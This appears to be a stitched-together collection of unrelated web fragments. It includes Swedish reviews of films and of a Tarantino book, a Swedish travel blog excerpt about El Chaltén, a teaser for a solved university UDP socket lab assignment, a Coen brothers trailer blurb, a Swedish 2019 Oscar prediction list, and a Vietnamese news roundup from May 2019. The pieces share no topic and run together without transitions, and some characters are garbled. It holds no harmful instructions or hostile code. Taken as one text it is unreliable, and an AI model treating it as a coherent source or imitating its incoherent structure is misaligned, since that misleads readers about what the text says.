Perspektivet är uppfriskande; manlig vänskap sätts sällan under lupp i Hollywood, bortsett från endimensionella buddy cop-filmer och utspårade svensexor. Men filmens största styrka är den välskrivna svarta humorn, pricksäkert levererad av framför allt Colin Farrell och Barry Keoghan (som spelar en förvirrad och något enfaldig men godhjärtad ung själ). Gleesons bittra uppsyn och det dramatiska irländska kustlandskapet för tankarna till briljanta »Calvary« (som regisserades av Martin McDonaghs bror).

Att sömlöst förena ämnen kring tro, mening och död med visuell humor och slagkraftiga oneliners är svårt, men »The Banshees of Inisherin« är en sällsynt tonsäker film. Passande nog är musiken komponerad av Coen-brödernas trofasta tjänare Carter Burwell. »The Banshees of Inisherin« är en av årets starkaste filmer och med rätta en av förhandsfavoriterna inför Oscarsgalan.

Ses på: Bioaktuell.

»RRR (Rise Roar Revolt)«

Min erfarenhet av indisk film är knapp. Så när »RRR« blev den första indiska Golden Globe-vinnaren någonsin uppstod ett naturligt tillfälle att förkovra sig. I registolen sitter S.S. Rajamouli, Indiens motsvarighet till James Cameron, med flera av landets mest inkomstbringande filmer i bagaget.

Och likt sin amerikanska motsvarighet sparar han inte på krutet. Historien, som baseras på två verkliga indiska revolutionärer som tillsammans slogs mot de brittiska kolonialisterna under 1920-talet i den indiska staden Hyderabad, skiftar skepnad mellan hämndhistoria, musikal och actionfilm – och berättas med en sällan skådad frenesi. Ju större desto bättre, tycks vara devisen. Musiken uppviglar snarare än förstärker, och vissa slagsmålsscener är så pass överdrivna att de i Hollywood hade tolkats som satiriska. Tre timmar av färgsprakande (om än ojämn) underhållning flyger förbi, och det andas filmglädje rakt igenom.

Ses på: Netflix. För att se filmen behöver man (märkligt nog) via sin webbläsare ändra språk i inställningar från svenska till engelska.

»Comedy Queen«

Sextonåriga Sigrid Johnson blev belönad med en Guldbagge för sin huvudroll som Sasha, vars mamma inte längre lever. Därför har Sasha skrivit en lista på allt hon måste göra för att överleva sorgen: raka av sig håret, sluta läsa böcker, tacka nej till världens gulligaste hundvalp och framförallt, bli ståuppkomiker – en Comedy Queen – för mest av allt vill hon se sin pappa skratta igen.

Glödheta Oscar Töringe levererar ett ömsint porträtt av den sörjande fadern/maken, och Sigrid Johnson är tveklöst en blivande stjärna. Som uppväxtskildring beträder inte filmen ny terräng (helt olik fjolårets Oscarsvinnare »Coda« är den faktiskt inte), men tack vare den omisskännliga personkemin framträder en oerhört finstämd och bitterljuv berättelse. Det är svårt att hålla tårarna borta.

Ses på: C More

Bok: »Cinema Speculation«

Tarantinos debut som författare och filmkritiker berättas med samma entusiasm och språkbruk som när Quentin pratar. Redan från första sidan är man fast i nördens klor. Boken, som fokuserar på 60- och 70-talet, är ett försök till att kombinera den gamla skolans filmkritik med initierad filmhistoria och formativa episoder från Tarantinos uppväxt.

Även om han inte når hela vägen finns det flera intressanta och underhållande uppslag: hur barndomens biografupplevelser har inspirerat hans karaktärsbyggen och format hans syn på filmvåld; ett genomgående förakt mot det tandlösa 80-talet – och inte minst detaljerna: ifrågasättandet av Travis Bickles Vietnambakgrund i »Taxi Driver«, hur Brian de Palma inspirerade DEN scenen i »Jackie Brown«, eller hur hans mammas expojkvän lade grunden för manuset i »Django Unchained«. Har man översikt med en viss ojämnhet och det eviga och genretypiska namndroppandet så är det bara att luta sig tillbaka. Tarantino älskar film och det smittar av sig.

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Första dagarna i El Chaltén

Efter El calafate åkte vi buss till en ännu mindre by i bergen som heter El Chaltén. Första dagarna var vädret dock inte på topp, det var för blåsigt för att gå de ”svåraste�� vandringarna och för molnigt för att se de högsta topparna. Men som tur var hade vi tillräckligt många dagar inplanerade för att vänta ut vädret. Vi träffade även tre supertrevliga sköningar; Laurence från Kanada, Coen från Holland och James från England. Tillsammans med dem spenderade vi förmiddagarna åt att gå kortare vandringar, bl.a. till en utsiktspunkt över staden och ett litet vattenfall, och eftermiddagarna åt att hoppa mellan happy hours och spela spel på hostellet. Väldigt mysiga dagar trots det svikande vädret!

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COEN 146: Lab assignment 3: Programming UDP/IP socket solved

Objectives 1. To use the copy one binary file to another 2. To develop client/ server applications using UDP/IP socket Part 1: Copy a binary/ text file to another file Problem: Copy a binary/text file to another file. Analysis: – Input: pass file names as arguments to main, so your main function needs to be defined as follows: int main( int argc, char * argv[]) Your files: src.dat and dest.dat…

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James Franco Plays Cowboys In The Trailer For The Next Coen Brothers Film

Initially, The Ballad of Buster Scruggs was intended to be a TV series. But the Coen brothers decided to change the format and create a film instead, to be distributed by Netflix. The resulting movie, which recently premiered at Venice Inte... Read more

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OSCARSGALAN 2019 - Min tippning Efter förra årets Oscarsgala hade jag spikat 20/24 rätt i mina tippningar, men jag kan redan nu meddela att resultatet förmodligen kommer landa långt ifrån den skarpa nivån i år. Galasäsongen 2018/2019 har nämligen varit oerhört stökig och oförutsägbar, med ytterst få tydliga favoriter som har svept gala efter gala (som det brukar te sig). Istället har priserna på exempelvis Golden Globe Awards, Critics Choice Awards, BAFTA och fackgalorna (PGA, DGA, WGA osv.) spridits över hela fältet utan någon direkt logik. Majoriteten av kategorierna här är därför vidöppna för skrällar, så det är inte helt lätt att nöta fram något vattentätt ur tippningsperspektiv. För mig som tittare är det dock den mest spännande galan på länge, vilket är trevligt. Hur som helst, nedan hittar ni min tippning för samtliga kategorier på galan. I varje kategori (förutom kortfilmskategorierna, som jag i år helt ärligt har för dålig koll på) har jag också lagt till en farlig utmanare och den film/person som jag personligen hoppas tar hem det. I den här texten på MovieZine har jag motiverat mina val i de sex största kategorierna.

Best Picture:

“Black Panther” “BlacKkKlansman” “Bohemian Rhapsody” “The Favourite” “Green Book” “Roma” “A Star Is Born” “Vice” Utmanare: “Green Book” Borde vinna: “Roma”

Lead Actor:

Christian Bale, “Vice” Bradley Cooper, “A Star Is Born” Willem Dafoe, “At Eternity’s Gate” Rami Malek, “Bohemian Rhapsody” Viggo Mortensen, “Green Book” Utmanare: Christian Bale Borde vinna: Willem Dafoe

Lead Actress:

Yalitza Aparicio, “Roma” Glenn Close, “The Wife” Olivia Colman, “The Favourite” Lady Gaga, “A Star Is Born” Melissa McCarthy, “Can You Ever Forgive Me?” Utmanare: Olivia Colman Borde vinna: Olivia Colman

Supporting Actor:

Mahershala Ali, “Green Book” Adam Driver, “BlacKkKlansman” Sam Elliott, “A Star Is Born” Richard E. Grant, “Can You Ever Forgive Me?” Sam Rockwell, “Vice” Utmanare: Richard E. Grant Borde vinna: Richard E. Grant

Supporting Actress: Amy Adams, “Vice” Marina de Tavira, “Roma” Regina King, “If Beale Street Could Talk” Emma Stone, “The Favourite” Rachel Weisz, “The Favourite” Utmanare: Rachel Weisz Borde vinna: Rachel Weisz

Director:

Spike Lee, “BlacKkKlansman” Pawel Pawlikowski, “Cold War” Yorgos Lanthimos, “The Favourite” Alfonso Cuarón, “Roma” Adam McKay, “Vice” Utmanare: Spike Lee Borde vinna: Spike Lee

Animated Feature:

“Incredibles 2,” Brad Bird “Isle of Dogs,” Wes Anderson “Mirai,” Mamoru Hosoda “Ralph Breaks the Internet,” Rich Moore, Phil Johnston “Spider-Man: Into the Spider-Verse,” Bob Persichetti, Peter Ramsey, Rodney Rothman Utmanare: “Incredibles 2″ Borde vinna: “Isle of Dogs”

Animated Short:

“Animal Behaviour,” Alison Snowden, David Fine “Bao,” Domee Shi “Late Afternoon,” Louise Bagnall “One Small Step,” Andrew Chesworth, Bobby Pontillas “Weekends,” Trevor Jimenez

Adapted Screenplay:

“The Ballad of Buster Scruggs,” Joel Coen , Ethan Coen “BlacKkKlansman,” Charlie Wachtel, David Rabinowitz, Kevin Willmott, Spike Lee “Can You Ever Forgive Me?,” Nicole Holofcener and Jeff Whitty “If Beale Street Could Talk,” Barry Jenkins “A Star Is Born,” Eric Roth, Bradley Cooper, Will Fetters Utmanare: “Can You Ever Forgive Me?” Borde vinna: “If Beale Street Could Talk”

Original Screenplay:

“The Favourite,” Deborah Davis, Tony McNamara “First Reformed,” Paul Schrader “Green Book,” Nick Vallelonga, Brian Currie, Peter Farrelly “Roma,” Alfonso Cuarón “Vice,” Adam McKay Utmanare: “Green Book” Borde vinna: “The Favourite”

Cinematography:

“Cold War,” Lukasz Zal “The Favourite,” Robbie Ryan “Never Look Away,” Caleb Deschanel “Roma,” Alfonso Cuarón “A Star Is Born,” Matthew Libatique Utmanare: Lukasz Zal Borde vinna: Alfonso Cuarón

Best Documentary Feature:

“Free Solo,” Jimmy Chin, Elizabeth Chai Vasarhelyi “Hale County This Morning, This Evening,” RaMell Ross “Minding the Gap,” Bing Liu “Of Fathers and Sons,” Talal Derki “RBG,” Betsy West, Julie Cohen Utmanare: “RBG” Borde vinna: “Minding the Gap”

Best Documentary Short Subject:

“Black Sheep,” Ed Perkins “End Game,” Rob Epstein, Jeffrey Friedman “Lifeboat,” Skye Fitzgerald “A Night at the Garden,” Marshall Curry “Period. End of Sentence.,” Rayka Zehtabchi

Best Live Action Short Film: “Detainment,” Vincent Lambe “Fauve,” Jeremy Comte “Marguerite,” Marianne Farley “Mother,” Rodrigo Sorogoyen “Skin,” Guy Nattiv

Best Foreign Language Film:

“Capernaum” (Lebanon) “Cold War” (Poland) “Never Look Away” (Germany) “Roma” (Mexico) “Shoplifters” (Japan) Utmanare: “Cold War” Borde vinna: “Roma”

Film Editing:

“BlacKkKlansman,” Barry Alexander Brown “Bohemian Rhapsody,” John Ottman “Green Book,” Patrick J. Don Vito “The Favourite,” Yorgos Mavropsaridis “Vice,” Hank Corwin Utmanare: “Vice” Borde vinna: “Vice” (Eller ALLT UTOM “Bohemian Rhapsody”)

Sound Editing:

“Black Panther,” Benjamin A. Burtt, Steve Boeddeker “Bohemian Rhapsody,” John Warhurst “First Man,” Ai-Ling Lee, Mildred Iatrou Morgan “A Quiet Place,” Ethan Van der Ryn, Erik Aadahl “Roma,” Sergio Diaz, Skip Lievsay Utmanare: “First Man” Borde vinna: “Roma”

Sound Mixing:

“Black Panther” “Bohemian Rhapsody” “First Man” “Roma” “A Star Is Born” Utmanare: “First Man” Borde vinna: “Roma”

Production Design:

“Black Panther,” Hannah Beachler “First Man,” Nathan Crowley, Kathy Lucas “The Favourite,” Fiona Crombie, Alice Felton “Mary Poppins Returns,” John Myhre, Gordon Sim “Roma,” Eugenio Caballero, Bárbara Enrı́quez Utmanare: “Black Panther” Borde vinna: “The Favourite”

Original Score:

“BlacKkKlansman,” Terence Blanchard “Black Panther,” Ludwig Goransson “If Beale Street Could Talk,” Nicholas Britell “Isle of Dogs,” Alexandre Desplat “Mary Poppins Returns,” Marc Shaiman, Scott Wittman Utmanare: “BlacKkKlansman” Borde vinna: “If Beale Street Could Talk”

Original Song:

“All The Stars” from “Black Panther” by Kendrick Lamar, SZA “I’ll Fight” from “RBG” by Diane Warren, Jennifer Hudson “The Place Where Lost Things Go” from “Mary Poppins Returns” by Marc Shaiman, Scott Wittman “Shallow” from “A Star Is Born” by Lady Gaga, Mark Ronson, Anthony Rossomando, Andrew Wyatt and Benjamin Rice “When A Cowboy Trades His Spurs For Wings” from “The Ballad of Buster Scruggs” by David Rawlings and Gillian Welch Utmanare: Ingen Borde vinna: “Shallow”

Makeup and Hair:

“Border” “Mary Queen of Scots” “Vice” Utmanare: “Mary Queen of Scots” Borde vinna: “Border”

Costume Design:

“The Ballad of Buster Scruggs,” Mary Zophres “Black Panther,” Ruth E. Carter “The Favourite,” Sandy Powell “Mary Poppins Returns,” Sandy Powell “Mary Queen of Scots,” Alexandra Byrne Utmanare: “Black Panther” Borde vinna: “The Favourite”

Visual Effects:

“Avengers: Infinity War” “Christopher Robin” “First Man” “Ready Player One” “Solo: A Star Wars Story” Utmanare: “Avengers: Infinity War” Borde vinna: “Avengers: Infinity War”

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27/5-Thế giới đêm qua: Phe ủng hộ châu Âu thắng trong cuộc bầu cử EU; Động đất mạnh 8 độ richter ở Peru

Sáng nay thứ Hai ngày 27/5, Đại Kỷ Nguyên xin tóm lược các sự kiện chính xảy ra trên thế giới trong đêm qua:

Phe ủng hộ châu Âu thắng trong cuộc bầu cử EU

Các đảng cam kết tăng cường Liên minh châu Âu nắm giữ hai phần ba số ghế trong Nghị viện EU, ước tính chính thức từ cuộc bầu cử khối cho thấy vào Chủ nhật, mặc dù các đối thủ cực hữu và dân tộc chủ nghĩa đã đạt được những thành tựu mạnh mẽ.

Emmanuel Macron của Pháp, người đã đảm nhận nhiệm kỳ tổng thống của mình trong việc thuyết phục người châu Âu rằng EU là câu trả lời cho những thách thức của nền kinh tế thế giới không chắc chắn, toàn cầu hóa, đã bị ảnh hưởng khi phong trào ôn hòa của ông bị đẩy vào vị trí thứ hai bởi đảng chống nhập cư của Marine Le Pen.

[caption id="attachment_1150870" align="aligncenter" width="640"] Toàn cảnh sân khấu tại Hội trường Toàn thể trước đêm bầu cử tại Nghị viện Châu Âu, tại Brussels, Bỉ, ngày 26 tháng 5 năm 2019. (REUTERS / Yves Herman)[/caption]

Nhưng đảng Phục hưng của Macron, được xây dựng trên tàn tích của các đảng trung tả và trung hữu, đã tăng thêm lợi ích cho các nhà tự do ở cấp EU. Cùng với sự gia tăng của đảng Xanh, điều đó có nghĩa là bốn nhóm chiếm giữ khu vực trung lưu thân EU bị mất chưa tới 20 ghế, đảm bảo có 50 ghế trong số 751, theo dự báo của Nghị viện châu Âu.

Điều đó có thể làm phức tạp một số hoạch định chính sách, vì một "liên minh lớn" hai đảng của đảng Nhân dân châu Âu bảo thủ (EPP) và đảng Xã hội (S&D) không còn chiếm đa số. Những người tự do, với 100 ghế, và đảng Xanh, với 70 ghế, sẽ muốn có tiếng nói lớn.

Đánh bom xe tải tại Iraq khiến ít nhất 5 người chết

Vụ đánh bom xe tải tại Iraq khiến ít nhất 5 người chết, 8 người bị thương diễn ra tại làng Al Uwaynat ở tỉnh Nineveh, miền Bắc Iraq vào chiều Chủ nhật 26/5, giờ địa phương.

Hiện chưa có cá nhân hay tổ chức nào nhận đã tiến hành vụ tấn công. Tuy nhiên, theo giới chức quân sự Iraq, các vụ tấn công tương tự như vậy thường do tổ chức khủng bố Nhà nước Hồi gi��o IS tự xưng thực hiện.

[caption id="attachment_1150876" align="aligncenter" width="600"] Hiện trường một vụ đánh bom xe tại Iraq (Ảnh: The Indian Express)[/caption]

Sau khi tuyên bố chiến thắng trước IS, tình hình an ninh Iraq đã được cải thiện đáng kể thời gian gần đây. Tuy nhiên, hiện vẫn còn 1 nhóm nhỏ tàn dư của tổ chức này đang ẩn náu tại các khu vực hẻo lánh hoặc sa mạc Iraq và từ đó tiến hành các vụ tấn công nhỏ lẻ nhằm gây bất ổn cho quốc gia này.

Peru, Colombia, Ecuador và Bolivia phản đối tên miền .amazon

Các tổng thống của Peru, Colombia, Ecuador và Bolivia đã chỉ trích một quyết định gần đây của tổ chức quản lý giao thức internet để cấp cho nhà bán lẻ toàn cầu Amazon Inc quyền đối với tên miền .amazon.

Amazon Inc đã tìm kiếm các quyền độc quyền cho tên miền .amazon từ năm 2012. Nhưng các quốc gia lưu vực Amazon - bao gồm Peru, Colombia, Ecuador và Bolivia - đã lập luận rằng nó đề cập đến khu vực địa lý của họ và không nên là độc quyền của một công ty.

[caption id="attachment_1150877" align="aligncenter" width="640"] Logo của Amazon được nhìn thấy tại trung tâm hậu cần của công ty ở Bove, Pháp, ngày 13 tháng 5 năm 2019. (REUTERS / Pascal Rossignol / File Photo)[/caption]

Bốn nhà lãnh đạo - Peru, Martin Vizcarra; Colombia, Ivan Duque; Ecuador, Lenin Moreno; và Bôlivia Evo Morales - tuyên bố sẽ hợp tác để bảo vệ đất nước của họ khỏi những gì họ cho là không đủ điều kiện của internet.

Nauseda thắng bầu cử tổng thống Litva

Cựu nhân viên ngân hàng trung ương Gitanas Nauseda đã giành chiến thắng trong cuộc bầu cử tổng thống Litva vào Chủ nhật, sau khi đối thủ Ingrida Simonyte bị "thủng lưới".

Nauseda, 55 tuổi, có 72% phiếu bầu, theo kết quả của cơ quan bầu cử sau khi 42% số phiếu được tính. Simonyte, 44 tuổi, cựu Bộ trưởng Tài chính trong một chính phủ trung hữu, đứng ở mức 28%.

[caption id="attachment_1150879" align="aligncenter" width="640"] Ứng cử viên tổng thống Gitanas Nauseda mỉm cười trong vòng thứ hai của cuộc bầu cử tổng thống Litva tại Vilnius, Litva ngày 26 tháng 5 năm 2019. (REUTERS / Ints Kalnins)[/caption]

Tôi là ứng cử viên độc lập và nhiệm vụ của tôi trong chiến dịch bầu cử này là thống nhất người dân Litva, bất kể họ sống ở đâu, ở những vùng nhỏ, làng mạc, thành phố nhỏ hay thành phố lớn, ông Gitanas Nauseda nói với Reuters sau khi tuyên bố chiến thắng.

Thủ tướng Hy Lạp cho biết sẽ kêu gọi bầu cử sớm

Thủ tướng Hy Lạp Alexis Tsipras cho biết ông sẽ kêu gọi bầu cử sớm sau thất bại của đảng Syriza trong cuộc bầu cử Nghị viện châu Âu. Kết quả cho thấy đảng của ông thua tới chín điểm sau đảng Dân chủ Mới đối lập. Trong trường hợp bình thường, nhiệm kỳ của Tsipras kết thúc vào tháng 10.

[caption id="attachment_1150881" align="aligncenter" width="640"] Thủ tướng Hy Lạp Alexis Tsipras giữ lá phiếu của mình trước khi bỏ phiếu cho cuộc bầu cử châu Âu và địa phương tại một trạm bỏ phiếu ở Athens, Hy Lạp, ngày 26 tháng 5 năm 2019. (REUTERS / Costas Baltas)[/caption]

Trong một bài phát biểu, Tsipras nói rằng ông sẽ gặp Tổng thống Hy Lạp để thảo luận về việc kêu gọi bầu cử ngay sau khi kết thúc v��ng bầu cử thứ hai của Hy Lạp, dự kiến vào tuần tới.

Qatar được mời đến hội nghị thượng đỉnh Ả Rập khẩn cấp ở Mecca

Qatar đã được Ả Rập Xê Út mời tham dự hai hội nghị thượng đỉnh Ả Rập khẩn cấp đang được triệu tập tại thành phố Mecca của Ả Rập Xê-út vào ngày 30/5, Bộ Ngoại giao Qatar nói hôm Chủ nhật.

Tuần trước, Qatar cho biết họ đã không được mời tới hai hội nghị thượng đỉnh mà Saudi đang lên kế hoạch tại địa điểm linh thiêng nhất của đạo Hồi để thảo luận về tác động của các cuộc tấn công bằng máy bay không người lái vào vương quốc và 4 tàu chở dầu, bao gồm hai tàu chở dầu của Saudi, ngoài khơi UAE tháng này.

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Saudi, Các Tiểu vương quốc Ả Rập Thống nhất, Bahrain và Ai Cập đã áp đặt tẩy chay kinh tế và ngoại giao đối với Qatar kể từ tháng 6/2017 với các cáo buộc rằng Doha ủng hộ khủng bố và đang làm ấm lòng kẻ thù khu vực Iran. Qatar phủ nhận các cáo buộc.

Động đất mạnh 8 độ richter ở Peru

Một trận động đất mạnh 8 độ richter đã giết chết một người, phá hủy hàng chục ngôi nhà và làm gián đoạn một số hoạt động khai thác dầu khi nó làm rung chuyển Peru vào Chủ nhật, nhà chức trách cho biết.

Đây là trận động đất lớn nhất xảy ra ở Peru kể từ năm 2007, đã được cảm nhận trên khắp đất nước và ở nước láng giềng Ecuador và Colombia sau khi tấn công khu vực dân cư thưa thớt của Loreto ở Peru, phía bắc Amazon.

[caption id="attachment_1150882" align="aligncenter" width="640"] Trận động đất đã ảnh hưởng đến tất cả các khu rừng ở Peru. (Ảnh: Reuters)[/caption]

Tổng thống Peru Martin Vizcarra cho biết các khu vực bị ảnh hưởng nặng nề nhất là các thị trấn Yurimaguas và Tarapoto. Trong thực tế, nó đã ảnh hưởng đến tất cả các khu rừng ở Peru, ông Vizcarra nói. Một người đàn ông 48 tuổi đã thiệt mạng ở vùng Cajamarca sau khi một tảng đá rơi vào nhà, các quan chức khẩn cấp cho biết. Trung tâm cấp cứu quốc gia Peru (COEN) cho biết có ít nhất 11 người bị thương và hơn 50 ngôi nhà bị phá hủy. Một số trường học, nhà thờ, bệnh viện và phòng khám cũng bị hư hại.

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